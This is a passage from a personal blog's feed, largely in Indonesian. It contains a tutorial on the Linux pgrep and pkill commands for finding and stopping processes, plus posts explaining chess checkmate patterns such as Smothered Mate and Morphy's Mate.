&lt;/span&gt;&lt;span&gt;&quot;#6e738d&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;273&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface2&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#5b6078&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;274&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface1&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#494d64&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;275&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;surface0&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#363a4f&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;276&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;base&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#24273a&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;277&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;mantle&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#1e2030&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;278&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;crust&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;#181926&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://starship.rs/&quot; target=&quot;_blank&quot;&gt;https://starship.rs/&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>&apos;pgrep&apos; and &apos;pkill&apos; Tutorial for Finding and Killing A Process</title><link>https://shangdi.github.io/posts/tech/pgreppkill/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/pgreppkill/</guid><description>These two commands are highly underrated, yet they are completely beneficial.</description><pubDate>Sat, 24 May 2025 13:36:39 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;&lt;code&gt;pgrep&lt;/code&gt;&lt;/strong&gt; &amp;amp; &lt;strong&gt;&lt;code&gt;pkill&lt;/code&gt;&lt;/strong&gt; adalah dua perintah yang sangat bermanfaat. Keduanya adalah &lt;em&gt;tools&lt;/em&gt; CLI (&lt;em&gt;Command Line Interface&lt;/em&gt;) yang hanya dapat dijalankan via terminal. Mungkin tidak semua orang menggunakan, atau bahkan tau, kedua perintah ini. Padahal, menurut saya, kedua perintah ini sangat bermanfaat untuk membantu kita secara efektif untuk menemukan dan menghentikan sebuah proses. Setidaknya, ada 2 manfaatnya:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;pgrep&lt;/code&gt; &amp;amp; &lt;code&gt;pkill&lt;/code&gt; adalah &lt;em&gt;utilities&lt;/em&gt; bawaan sistem Linux (dari paket &lt;code&gt;procps-ng&lt;/code&gt; di Archlinux). Artinya, kita tidak perlu meng-&lt;em&gt;install&lt;/em&gt; paket baru untuk menggunakannya.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pgrep&lt;/code&gt; &amp;amp; &lt;code&gt;pkill&lt;/code&gt; sangat cepat dalam mencari dan menghentikan sebuah proses.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;pgrep &amp;amp;#x26; pkill are parts of procps-ng&quot; loading=&quot;lazy&quot; width=&quot;495&quot; height=&quot;421&quot; src=&quot;/_astro/ss2.DiwaMi2i_1jTXmt.webp&quot; /&gt;&lt;figcaption&gt;pgrep &amp;amp; pkill are parts of procps-ng&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;Yang saya maksud dengan &lt;strong&gt;proses&lt;/strong&gt; adalah aplikasi atau software apapun yang sedang berjalan, baik yang memiliki GUI seperti Browser, File Manager, dll, maupun yang tidak, seperti Music Daemon, SSH Server, dll.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Sebetulnya, cara kerja &lt;code&gt;pgrep&lt;/code&gt; dan &lt;code&gt;pkill&lt;/code&gt; ini mirip dengan cara kita ketika ingin menghentikan, men-stop, atau menutup browser, misalnya Firefox. Langkah yang kita lakukan adalah mencari jendela / &lt;em&gt;window&lt;/em&gt; Firefox-nya, lalu klik pada tombol &lt;em&gt;close&lt;/em&gt; yang umumnya ada di pojok kanan atas (Windows &amp;amp; Linux) atau di pojok kiri atas (Mac).&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;manually killing firefox&quot; loading=&quot;lazy&quot; width=&quot;385&quot; height=&quot;172&quot; src=&quot;/_astro/ss3.BSX_Rh4u_x4XHY.webp&quot; /&gt;&lt;figcaption&gt;manually killing firefox&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Namun, cara tersebut terbatas karena hanya dapat dilakukan pada aplikasi yang memiliki GUI. Sementara, terkadang, kita perlu untuk mematikan sebuah proses yang tidak memiliki GUI dan menggunakan banyak &lt;em&gt;resource&lt;/em&gt; komputer, misalnya. Oleh karena itu, dengan &lt;em&gt;tools&lt;/em&gt; &lt;code&gt;pgrep&lt;/code&gt; dan &lt;code&gt;pkill&lt;/code&gt; ini, kita tidak akan khawatir dan bingung lagi untuk menemukan dan mematikan proses yang ingin dihentikan.&lt;/p&gt;
&lt;p&gt;Untuk mencari proses yang ingin dihentikan, gunakan &lt;em&gt;command&lt;/em&gt; &lt;strong&gt;&lt;code&gt;pgrep&lt;/code&gt;&lt;/strong&gt; dan diikuti oleh nama proses/aplikasi yang ingin dicari:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pgrep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;firefox&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pgrep&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Jika &lt;em&gt;output&lt;/em&gt;-nya menunjukkan beberapa angka tertentu, itu artinya, proses yang dicari memang sedang berjalan. Sebaliknya, jika &lt;em&gt;output&lt;/em&gt;-nya tidak menampilkan apapun, artinya proses yang dicari memang sedang tidak berjalan. Angka-angka yang muncul tersebut adalah &lt;a href=&quot;https://www.baeldung.com/linux/pid-tid-ppid&quot; target=&quot;_blank&quot;&gt;PID (&lt;em&gt;Process ID&lt;/em&gt;)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Kemudian, untuk menghentikan prosesnya, gunakan &lt;em&gt;command&lt;/em&gt; &lt;strong&gt;&lt;code&gt;pkill&lt;/code&gt;&lt;/strong&gt; dan diikuti oleh nama proses/aplikasi yang ingin dihentikan:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pkill&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;firefox&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pkill&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mpd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Berikut adalah cara mematikan Firefox (GUI &lt;em&gt;Process&lt;/em&gt;) &amp;amp; MPD (non-GUI &lt;em&gt;Process&lt;/em&gt;) dengan &lt;strong&gt;&lt;code&gt;pgrep&lt;/code&gt;&lt;/strong&gt; dan &lt;strong&gt;&lt;code&gt;pkill&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;finding and killing processes with pgrep &amp;amp;#x26; pkill&quot; loading=&quot;lazy&quot; width=&quot;537&quot; height=&quot;294&quot; src=&quot;/_astro/ss1.CF24p4Wu_Z2hpeYR.webp&quot; /&gt;&lt;figcaption&gt;finding and killing processes with pgrep &amp;amp; pkill&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Atau jika ingin mematikan 2 atau lebih proses sekaligus, juga bisa:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;pkill&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&apos;(firefox|mpd|dolphin)&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;Berikut praktiknya:&lt;/p&gt;

&lt;p&gt;Sebagai tambahan informasi, proses-proses yang sedang berjalan sebetulnya dapat dipantau melalui beberapa &lt;em&gt;tools&lt;/em&gt; lain, diantaranya seperti htop, btop, dll yang pernah saya bahas juga di artikel berikut:&lt;/p&gt;
&lt;a href=&quot;/posts/tech/resmon/&quot;&gt;&lt;div&gt;&lt;div&gt;5 Modern Linux Resource Monitoring Tools&lt;/div&gt;&lt;div&gt;This article would show several modern linux resource monitoring utilities that might help you identify your resource consumptions easily.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-02-20&lt;/span&gt;&lt;span&gt;monitoring&lt;/span&gt;&lt;span&gt;&lt;span&gt;#linux&lt;/span&gt;&lt;span&gt;#resource&lt;/span&gt;&lt;span&gt;#monitoring&lt;/span&gt;&lt;span&gt;#tools&lt;/span&gt;&lt;span&gt;#utility&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;
&lt;hr /&gt;
&lt;p&gt;Artikel ini ditulis menggunakan KDE Archlinux dengan kustomisasi:&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;rice&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/rice.CpxrxBLA_Z1I6sLK.webp&quot; /&gt;&lt;figcaption&gt;rice&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title>Checkmate Pattern: Dovetail Mate, Smothered Mate, Morphy&apos;s Mate, Swallow&apos;s Tail Mate</title><link>https://shangdi.github.io/posts/chess/checkmate3/</link><guid isPermaLink="true">https://shangdi.github.io/posts/chess/checkmate3/</guid><description>In this article, I would like to share 4 popular checkmate patterns, which are Dovettail Mate, Smothered Mate, Morphy Mate, and Swallow Tail Mate.</description><pubDate>Sun, 11 May 2025 09:38:55 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Juara dunia catur ke-3, &lt;a href=&quot;https://www.chess.com/players/jose-raul-capablanca&quot; target=&quot;_blank&quot;&gt;Jose Raul Capablanca&lt;/a&gt; pernah berkata, “&lt;em&gt;&lt;strong&gt;In order to improve your game, you must study the endgame before everything else.&lt;/strong&gt;&lt;/em&gt;”&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What is Checkmate Patterns?&lt;a href=&quot;#what-is-checkmate-patterns&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apa itu Pola Skakmat?&lt;/p&gt;&lt;p&gt;&lt;em&gt;Checkmate Patterns&lt;/em&gt; atau Pola Skakmat adalah model yang dapat digunakan untuk melakukan skakmat pada lawan. Setiap pola memerlukan kombinasi bidak catur tertentu, baik kombinasi dari bidak kita sebagai penyerang, maupun memanfaatkan penempatan atau posisi bidak lawan. Semakin baik kita memahami pola skakmat, kita tidak hanya akan menjadi lebih baik dalam menyerang (melakukan skakmat), tetapi juga menjadi lebih baik dalam bertahan (menghindari skakmat).&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Ada banyak pola skakmat yang dapat dipelajari (sekurang-kurangnya ada 20 pola skakmat berdasarkan situs &lt;a href=&quot;https://www.chess.com/terms/checkmate-chess&quot; target=&quot;_blank&quot;&gt;chess.com&lt;/a&gt;), tapi, biarkan saya mengulas salah empatnya di artikel ini: &lt;strong&gt;Dovetail Mate&lt;/strong&gt;, &lt;strong&gt;Smothered Mate&lt;/strong&gt;, &lt;strong&gt;Morphy’s Mate&lt;/strong&gt;, dan &lt;strong&gt;Swallow’s Tail Mate&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Dovetail Mate&lt;a href=&quot;#dovetail-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Dovetail Mate&lt;/strong&gt; atau yang juga dikenal sebagai Cozio’s Mate (seorang pecatur Italia di abad 18 yang “menemukannya”), terjadi ketika Menteri melakukan skakmat pada Raja lawan yang tidak dapat kabur karena terhalang oleh buah caturnya sendiri. Skakmat ini dinamakan &lt;em&gt;“dovetail”&lt;/em&gt; karena polanya yang mirip dengan bentuk ekor merpati.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss1.BzqIrCuK_Z20Dh81.webp&quot; alt=&quot;Dovetail Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;630&quot; /&gt;&lt;figcaption&gt;Dovetail Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Dovetail Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Dovetail Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Dovetail Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Dovetail Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Smothered Mate&lt;a href=&quot;#smothered-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Smothered Mate&lt;/strong&gt; terjadi ketika Kuda melakukan skak dengan memanfaatkan kondisi Raja lawan yang tidak memiliki ruang pelarian. Biasanya, &lt;em&gt;smothered mate&lt;/em&gt; terjadi di pojok papan catur. Oleh karena Raja tidak memiliki ruang bergerak, maka skakmat ini dinamakan skakmat &lt;em&gt;“smothered”&lt;/em&gt;. &lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss2.BX_o16dx_1ULbux.webp&quot; alt=&quot;Smothered Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;630&quot; /&gt;&lt;figcaption&gt;Smothered Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Smothered Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Smothered Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Smothered Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Smothered Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Morphy’s Mate&lt;a href=&quot;#morphys-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Morphy’s Mate&lt;/strong&gt; adalah skakmat dengan kombinasi Benteng dan Gajah, dimana Benteng menghlangi petak kabur Raja lawan, sementara Gajah melakukan skakmat. Penamaan skakmat ini tentu diinspirasi dari &lt;a href=&quot;https://www.chess.com/players/paul-morphy&quot; target=&quot;_blank&quot;&gt;Paul Morphy&lt;/a&gt;, seorang pecatur Amerika dan dianggap sebagai juara dunia tidak resmi. &lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss3.go7ekGFt_OOApR.webp&quot; alt=&quot;Morpy&apos;s Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;630&quot; /&gt;&lt;figcaption&gt;Morpy&apos;s Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Morphy’s Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Morphy’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Morphy’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Morphy’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Swallow Tail Mate&lt;a href=&quot;#swallow-tail-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Swallow Tail Mate&lt;/strong&gt; atau Guerion Mate adalah skakmat dengan pola bentuk huruf V sehingga menyerupai ekor burung walet. Skakmat ini sendiri dilakukan oleh Menteri yang didukung oleh buah catur yang lain.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Pola skakmat ini mirip, namun tidak sama, dengan pola &lt;strong&gt;“Epaulette Checkmate”&lt;/strong&gt;, yang juga sudah saya ulas di artikel berikut ini:&lt;/p&gt;&lt;a href=&quot;/posts/chess/checkmate2/&quot;&gt;&lt;div&gt;&lt;div&gt;Checkmate Pattern: Blackburne&apos;s Mate, Damiano&apos;s Mate, Epaulette Mate, Opera Mate&lt;/div&gt;&lt;div&gt;In this article, I would like to share 4 popular checkmate patterns, which are Blackburnes Mate, Damianos Mate, Epaulette Mate, and Opera Mate.&lt;/div&gt;&lt;div&gt;&lt;span&gt;2025-05-10&lt;/span&gt;&lt;span&gt;chess&lt;/span&gt;&lt;span&gt;&lt;span&gt;#chess&lt;/span&gt;&lt;span&gt;#intro&lt;/span&gt;&lt;span&gt;#checkmate&lt;/span&gt;&lt;span&gt;#pattern&lt;/span&gt;&lt;span&gt;#blackburne&apos;s mate&lt;/span&gt;&lt;span&gt;#damiano&apos;s mate&lt;/span&gt;&lt;span&gt;#epaulette mate&lt;/span&gt;&lt;span&gt;#opera mate&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;img src=&quot;/_astro/featured.DL2SBtbK_1o8zV9.webp&quot; alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;480&quot; height=&quot;339&quot; /&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss4.BIZYnIDk_Z2c9yMo.webp&quot; alt=&quot;Swallow Tail Mate Pattern&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;630&quot; /&gt;&lt;figcaption&gt;Swallow Tail Mate Pattern&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Swallow Tail Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Swallow Tail Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Swallow Tail Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Putih jalan, skakmat dengan &lt;strong&gt;Swallow Tail Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.chess.com/terms/checkmate-chess&quot; target=&quot;_blank&quot;&gt;https://www.chess.com/terms/checkmate-chess&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-2&quot;&gt;↩&lt;sup&gt;2&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-3&quot;&gt;↩&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-4&quot;&gt;↩&lt;sup&gt;4&lt;/sup&gt;&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1-5&quot;&gt;↩&lt;sup&gt;5&lt;/sup&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Checkmate Pattern: Blackburne&apos;s Mate, Damiano&apos;s Mate, Epaulette Mate, Opera Mate</title><link>https://shangdi.github.io/posts/chess/checkmate2/</link><guid isPermaLink="true">https://shangdi.github.io/posts/chess/checkmate2/</guid><description>In this article, I would like to share 4 popular checkmate patterns, which are Blackburnes Mate, Damianos Mate, Epaulette Mate, and Opera Mate.</description><pubDate>Sat, 10 May 2025 08:29:25 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;Juara dunia catur ke-3, &lt;a href=&quot;https://www.chess.com/players/jose-raul-capablanca&quot; target=&quot;_blank&quot;&gt;Jose Raul Capablanca&lt;/a&gt; pernah berkata, “&lt;em&gt;&lt;strong&gt;In order to improve your game, you must study the endgame before everything else.&lt;/strong&gt;&lt;/em&gt;”&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;What is Checkmate Patterns?&lt;a href=&quot;#what-is-checkmate-patterns&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apa itu Pola Skakmat?&lt;/p&gt;&lt;p&gt;&lt;em&gt;Checkmate Patterns&lt;/em&gt; atau Pola Skakmat adalah model yang dapat digunakan untuk melakukan skakmat pada lawan. Setiap pola memerlukan kombinasi bidak catur tertentu, baik kombinasi dari bidak kita sebagai penyerang, maupun memanfaatkan penempatan atau posisi bidak lawan. Semakin baik kita memahami pola skakmat, kita tidak hanya akan menjadi lebih baik dalam menyerang (melakukan skakmat), tetapi juga menjadi lebih baik dalam bertahan (menghindari skakmat).&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Ada banyak pola skakmat yang dapat dipelajari (sekurang-kurangnya ada 20 pola skakmat berdasarkan situs &lt;a href=&quot;https://www.chess.com/terms/checkmate-chess&quot; target=&quot;_blank&quot;&gt;chess.com&lt;/a&gt;), tapi, biarkan saya mengulas salah empatnya di artikel ini: &lt;strong&gt;Blackburne’s Mate&lt;/strong&gt;, &lt;strong&gt;Damiano’s Mate&lt;/strong&gt;, &lt;strong&gt;Epaulette Mate&lt;/strong&gt;, dan &lt;strong&gt;Opera Mate&lt;/strong&gt;.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Blackburne’s Mate&lt;a href=&quot;#blackburnes-mate&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Blackburne’s Mate&lt;/strong&gt; terjadi melalui kombinasi Kuda dan Dua Gajah pada Raja lawan yang sudah rokade. Oleh karena itu, pola skakmat ini biasanya terjadi di pojok papan.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;&lt;figure&gt;&lt;img src=&quot;/_astro/ss1.CzWu_Hr9_PhwyJ.webp&quot; alt=&quot;Blackburne&apos;s Mate&quot; loading=&quot;lazy&quot; width=&quot;630&quot; height=&quot;629&quot; /&gt;&lt;figcaption&gt;Blackburne&apos;s Mate&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Blackburne’s Mate&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Blackburne’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Blackburne’s Mate&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Hitam jalan, skakmat dengan &lt;strong&gt;Blackburne’s Mate&lt;/strong&gt;.&lt;/li&gt;
